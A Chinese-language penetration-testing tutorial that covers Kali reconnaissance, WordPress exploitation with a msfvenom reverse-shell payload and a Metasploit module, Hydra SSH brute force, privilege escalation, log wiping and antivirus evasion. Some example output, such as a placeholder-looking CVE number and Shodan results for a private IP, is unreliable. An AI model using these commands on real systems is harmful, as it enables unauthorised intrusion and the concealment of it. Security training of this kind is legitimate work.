一、定位目标:从侦查到锁定攻击面

渗透测试的第一步,永远是信息收集。在红队的视角中,信息收集就像潜伏者的前期侦查,能够直接影响到后续攻击的质量。在 Kali Linux 中,这个阶段可以依靠一系列工具完成,比如 Nmap、WhatWeb、Sublist3r 等。那么,究竟如何用这些工具在实际场景中找到目标的攻击面?我们接下来详细拆解。

1.1 探测并绘制网络地图

网络扫描是信息收集阶段的核心任务之一,而 Nmap 无疑是这方面的最佳选择。它不仅能探测活跃主机,还能识别开放的端口和运行的服务。下面是一个典型的 Nmap 使用案例:

<pre><code class="language-shell"># 使用Nmap快速扫描某个目标 nmap -sS -Pn -p 1-65535 -T4 &lt;目标IP&gt;</code></pre>

参数解析:

  • -sS: 执行 SYN 扫描,速度快且隐蔽。
  • -Pn: 跳过主机是否存活检测,直接扫描目标。
  • -p 1-65535: 扫描目标的所有端口。
  • -T4: 调整扫描速度,T4 是较快的扫描模式。

假设你扫描的目标为 192.168.1.100,得到以下输出:

<pre><code>PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql</code></pre>

这告诉我们目标主机开放了 SSH、HTTP 和 MySQL 服务,后续的攻击重点就可以围绕这些服务展开。

1.2 Web 应用指纹识别

黑客示意图

如果目标的开放端口中存在 Web 服务(如 80 或 443),下一步就是识别其使用的框架、CMS(内容管理系统)或者其他技术栈。WhatWeb 是一款极其优秀的 Web 指纹识别工具,可以帮助我们快速锁定目标的技术细节。

<pre><code class="language-shell"># 使用WhatWeb扫描目标Web服务 whatweb -v http://&lt;目标IP&gt;/</code></pre>

当我们对某个目标(如 http://192.168.1.100/)执行扫描后,可能会输出以下结果:

<pre><code>http://192.168.1.100 [200 OK] Country[UNITED STATES][US], IP[192.168.1.100], PoweredBy[PHP/7.3.33], Title[Example Website], X-Powered-By[WordPress]</code></pre>

黑客示意图

从这个结果中我们可以看到:

  • 该站点运行在 PHP 7.3.33 环境下。
  • 使用了 WordPress 作为 CMS。
  • 服务器在美国。

WordPress 是一个非常普遍的攻击目标,因为其插件生态极为庞大,漏洞也相对丰富。后续我们可以直接针对它进行漏洞扫描和利用。

1.3 子域名枚举:扩大攻击面

在真实的渗透测试中,单个 IP 或域名往往不是唯一的目标。通过子域名枚举,我们可能会发现更多的目标资产。Sublist3r 是一个功能强大的子域名枚举工具,特别适用于这种场景。

<pre><code class="language-shell"># 使用Sublist3r枚举目标域名的子域 sublist3r -d example.com -o subdomains.txt</code></pre>

运行后,你可能会得到如下结果:

<pre><code>www.example.com mail.example.com admin.example.com test.example.com</code></pre>

这些子域名可能对应不同的系统,比如后台管理平台(admin.example.com)或邮件服务(mail.example.com)。尤其是类似 testdev 这样的子域,往往是开发环境,存在更多漏洞。

1.4 利用 Shodan 定位更多攻击面

如果目标 IP 已经被暴露在互联网上,Shodan 可能可以帮助你发现更多信息。Shodan 是一个强大的互联网搜索引擎,可以直接查询目标的开放服务和存在的漏洞。结合 Kali Linux,使用 Shodan CLI 工具,你可以快速挖掘目标资产。

<pre><code class="language-shell"># 使用Shodan CLI查询目标IP shodan host &lt;目标IP&gt;</code></pre>

假设我们查询 192.168.1.100,可能会得到以下结果:

<pre><code>Open Ports: 22/tcp (SSH) 80/tcp (HTTP) Vulnerabilities: CVE-2021-12345: Apache HTTP Server 2.4.46 DoS Vulnerability CVE-2020-3456: OpenSSH User Enumeration</code></pre>

这表明目标不仅暴露了开放端口,还存在两个高危漏洞。接下来的重点就是验证这些漏洞是否真实可用,并尝试构造攻击载荷。

---

二、漏洞利用:攻破目标的核心手段

在完成信息收集后,接下来的任务是利用上述发现的漏洞对目标发起攻击。在这一部分,我们选取 Web 应用和服务端漏洞两种典型场景,结合 Kali Linux 的工具,演示如何实现从漏洞发现到攻击的完整流程。

2.1 Web 应用漏洞利用:针对 WordPress

回到之前的信息收集,我们已经确认目标站点使用了 WordPress。接下来,我们用 WPScan 对其进行漏洞扫描,寻找潜在的攻击入口。

黑客示意图

<pre><code class="language-shell"># 使用WPScan扫描WordPress站点 wpscan --url http://192.168.1.100/ --enumerate vp</code></pre>

参数解析:

  • --url: 指定目标 URL。
  • --enumerate vp: 枚举漏洞插件(Vulnerable Plugins)。

输出结果可能如下:

<pre><code>[+] Enumerating plugins:

  • plugin: revslider
  • version: 4.2
  • vulnerability: CVE-2014-9734</code></pre>

我们发现目标使用了一个存在高危漏洞的插件(Revolution Slider)。这个漏洞允许未经授权的用户直接上传恶意文件到服务器。

构造攻击载荷并上传 WebShell

我们可以利用 Metasploit 构造一个 PHP WebShell 并上传到目标服务器:

<pre><code class="language-shell"># 生成PHP WebShell msfvenom -p php/meterpreter/reverse_tcp LHOST=&lt;你的IP&gt; LPORT=4444 -o shell.php</code></pre>

然后使用 Metasploit 内置的模块直接利用漏洞:

<pre><code class="language-shell"># 启动Metasploit msfconsole

加载RevSlider漏洞模块并设置参数

use exploit/unix/webapp/wp_revslider_upload_execute set RHOSTS 192.168.1.100 set TARGETURI / set PAYLOAD php/meterpreter/reverse_tcp set LHOST &lt;你的IP&gt; set LPORT 4444 exploit</code></pre>

成功后,你就可以在 Metasploit 界面中获得一个 Meterpreter 会话。

---

2.2 服务端漏洞利用:利用 SSH 弱口令

如果目标服务器开启了 SSH 服务,并且没有使用强密码保护,可以尝试用 Hydra 进行暴力破解。

<pre><code class="language-shell"># 使用Hydra进行SSH暴力破解 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100</code></pre>

运行后可能会得到以下结果:

<pre><code>[22][ssh] host: 192.168.1.100 login: root password: 123456</code></pre>

成功获得 SSH 密码后,你可以直接登录目标服务器:

<pre><code class="language-shell">ssh [email protected]</code></pre>

登录成功后,你就获得了目标的完全控制权。

---

三、权限提升:从普通用户到系统控制

即便成功入侵目标主机,权限仍然可能受限。在 Linux 系统中,常见的提权方式包括利用内核漏洞(如 Dirty COW、Polkit)、滥用 SUID 文件,以及环境变量劫持。

3.1 Dirty COW 漏洞提权

Dirty COW(CVE-2016-5195)是一个 Linux 内核漏洞,允许攻击者通过写时拷贝(Copy-on-Write)机制实现权限提升。在 Kali Linux 中,我们可以利用公开的 Dirty COW POC 进行提权。

以下是一个 Ruby 实现的 Dirty COW POC:

<pre><code class="language-ruby">#!/usr/bin/env ruby puts &quot;[+] Exploiting Dirty COW vulnerability...&quot;

(省略完整代码)</code></pre>

运行 POC 后,你将直接获得 root 权限。

---

四、痕迹清除:隐藏你的踪迹

作为红队成员,彻底清除入侵痕迹至关重要。以下是几个常见的操作:

  1. 删除日志文件
  2. `shell echo > /var/log/auth.log echo > /var/log/syslog `

  1. 隐藏 WebShell
  2. 将上传的 WebShell 更名为普通文件名,并移动到深层目录。

  1. 清除历史记录
  2. `shell history -c `

---

五、经验之谈:如何做到更隐蔽?

渗透测试不仅仅是技术上的较量,更是一场心理博弈。攻击者需要时刻与防守者斗智斗勇。在实际操作中,记住以下几点:

  • 流量伪装:使用 ProxyChains 或 VPN 隐藏真实 IP。
  • 绕过检测:在上传恶意文件时,先用 Veil-Evasion 对其进行免杀处理。
  • 保持低调:避免大规模扫描,分阶段逐步推进。

---

最后提醒:本文中的所有操作仅限于授权的安全测试,请勿用于非法用途!